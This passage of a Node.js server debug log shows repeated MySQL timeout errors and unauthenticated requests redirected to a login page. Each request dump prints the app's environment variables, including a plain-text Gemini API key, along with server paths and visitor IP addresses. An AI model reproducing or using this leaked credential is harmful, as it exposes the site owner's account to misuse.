    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 20:26:33' as DATETIME)"
}
2025-12-12T20:45:28.676Z server-connect:router Serving templateView /
2025-12-12T20:45:28.676Z server-connect:app Executing action step identify
2025-12-12T20:45:28.676Z server-connect:app options: { provider: 'security' }
2025-12-12T20:45:28.677Z server-connect:auth No login cookie found
2025-12-12T20:45:28.677Z server-connect:output identity: false
2025-12-12T20:45:28.677Z server-connect:app Executing action step restrict
2025-12-12T20:45:28.677Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T20:45:28.677Z server-connect:output restrict: undefined
2025-12-12T20:45:28.920Z server-connect:router Serving templateView /login
2025-12-12T20:45:28.920Z server-connect:app Executing action step identify
2025-12-12T20:45:28.920Z server-connect:app options: { provider: 'security' }
2025-12-12T20:45:28.920Z server-connect:auth No login cookie found
2025-12-12T20:45:28.920Z server-connect:output identity: false
2025-12-12T20:45:28.920Z server-connect:router Render template layouts/authentication
2025-12-12T20:45:28.920Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.154',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T20:45:28.920Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.154',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.154',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T20:46:12.362Z server-connect:router Serving templateView /
2025-12-12T20:46:12.362Z server-connect:app Executing action step identify
2025-12-12T20:46:12.362Z server-connect:app options: { provider: 'security' }
2025-12-12T20:46:12.363Z server-connect:auth No login cookie found
2025-12-12T20:46:12.363Z server-connect:output identity: false
2025-12-12T20:46:12.363Z server-connect:app Executing action step restrict
2025-12-12T20:46:12.363Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T20:46:12.363Z server-connect:output restrict: undefined
2025-12-12T20:46:12.605Z server-connect:router Serving templateView /login
2025-12-12T20:46:12.605Z server-connect:app Executing action step identify
2025-12-12T20:46:12.605Z server-connect:app options: { provider: 'security' }
2025-12-12T20:46:12.605Z server-connect:auth No login cookie found
2025-12-12T20:46:12.605Z server-connect:output identity: false
2025-12-12T20:46:12.605Z server-connect:router Render template layouts/authentication
2025-12-12T20:46:12.605Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.171',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T20:46:12.604Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.171',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.171',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T20:46:46.360Z server-connect:router Serving templateView /
2025-12-12T20:46:46.360Z server-connect:app Executing action step identify
2025-12-12T20:46:46.360Z server-connect:app options: { provider: 'security' }
2025-12-12T20:46:46.360Z server-connect:auth No login cookie found
2025-12-12T20:46:46.360Z server-connect:output identity: false
2025-12-12T20:46:46.360Z server-connect:app Executing action step restrict
2025-12-12T20:46:46.360Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T20:46:46.361Z server-connect:output restrict: undefined
2025-12-12T20:46:46.472Z server-connect:router Serving templateView /login
2025-12-12T20:46:46.473Z server-connect:app Executing action step identify
2025-12-12T20:46:46.473Z server-connect:app options: { provider: 'security' }
2025-12-12T20:46:46.473Z server-connect:auth No login cookie found
2025-12-12T20:46:46.473Z server-connect:output identity: false
2025-12-12T20:46:46.473Z server-connect:router Render template layouts/authentication
2025-12-12T20:46:46.473Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'sec-ch-ua': '"Not;A=Brand";v="99", "HeadlessChrome";v="139", "Chromium";v="139"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '149.57.180.38',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T20:46:46.472Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.38',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="99", "HeadlessChrome";v="139", "Chromium";v="139"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '149.57.180.38',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 20:54:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 20:54:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 21:22:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 21:22:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 21:59:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 21:59:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 22:08:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 22:08:34' as DATETIME)"
}
2025-12-13T00:15:20.184Z server-connect:router Serving templateView /
2025-12-13T00:15:20.185Z server-connect:app Executing action step identify
2025-12-13T00:15:20.185Z server-connect:app options: { provider: 'security' }
2025-12-13T00:15:20.185Z server-connect:auth No login cookie found
2025-12-13T00:15:20.185Z server-connect:output identity: false
2025-12-13T00:15:20.185Z server-connect:app Executing action step restrict
2025-12-13T00:15:20.185Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T00:15:20.186Z server-connect:output restrict: undefined
2025-12-13T00:15:20.567Z server-connect:router Serving templateView /login
2025-12-13T00:15:20.568Z server-connect:app Executing action step identify
2025-12-13T00:15:20.568Z server-connect:app options: { provider: 'security' }
2025-12-13T00:15:20.568Z server-connect:auth No login cookie found
2025-12-13T00:15:20.568Z server-connect:output identity: false
2025-12-13T00:15:20.568Z server-connect:router Render template layouts/authentication
2025-12-13T00:15:20.568Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'x-forwarded-for': '34.19.77.133',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T00:15:20.567Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.19.77.133',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA-PLATFORM': 'Android',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-GB,en-US;q=0.9,en;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'HTTP_X_FORWARDED-FOR': '34.19.77.133',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T00:19:17.351Z server-connect:router Serving templateView /
2025-12-13T00:19:17.351Z server-connect:app Executing action step identify
2025-12-13T00:19:17.351Z server-connect:app options: { provider: 'security' }
2025-12-13T00:19:17.351Z server-connect:auth No login cookie found
2025-12-13T00:19:17.351Z server-connect:output identity: false
2025-12-13T00:19:17.351Z server-connect:app Executing action step restrict
2025-12-13T00:19:17.352Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T00:19:17.352Z server-connect:output restrict: undefined
2025-12-13T00:19:18.114Z server-connect:router Serving templateView /login
2025-12-13T00:19:18.115Z server-connect:app Executing action step identify
2025-12-13T00:19:18.115Z server-connect:app options: { provider: 'security' }
2025-12-13T00:19:18.115Z server-connect:auth No login cookie found
2025-12-13T00:19:18.115Z server-connect:output identity: false
2025-12-13T00:19:18.115Z server-connect:router Render template layouts/authentication
2025-12-13T00:19:18.115Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not_A Brand";v="99", "Google Chrome";v="114", "Chromium";v="114"',
    'cache-control': 'max-age=0',
    'sec-ch-ua-platform': 'Android',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
